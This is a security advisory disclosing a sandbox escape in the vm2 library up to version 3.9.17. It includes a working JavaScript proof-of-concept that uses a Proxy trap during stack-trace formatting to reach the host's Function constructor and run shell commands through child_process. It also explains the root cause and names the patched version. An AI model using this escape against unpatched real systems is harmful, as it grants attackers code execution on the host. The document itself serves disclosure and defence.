Sandbox Escape in [email protected]
A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function
in the host context.
A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
err.name.toString
is called at ErrorPrototypeToString
in prepareStackTrace
from the host context.
error
argument ofprepareStackTrace
is not proxied by handlers defined invm2/lib/bridge.js
because the function is called directly by V8.- ref. https://v8.dev/docs/stack-trace-api
Also, the definition of [[Call]]
internal method of a Proxy object is as follows:
- Let argArray be CreateArrayFromList(argumentsList).
- Return ? Call(trap, handler, « target, thisArgument, argArray »).
When err.name.toString
is called, the step 7 creates argArray
in the host context and the host object is passed to args
of apply(target, thiz, args)
. So, you can access Function
constructor of the host context.
Takeshi Kaneko (GMO Cybersecurity by Ierae, Inc.)
This vulnerability was patched at v3.9.18: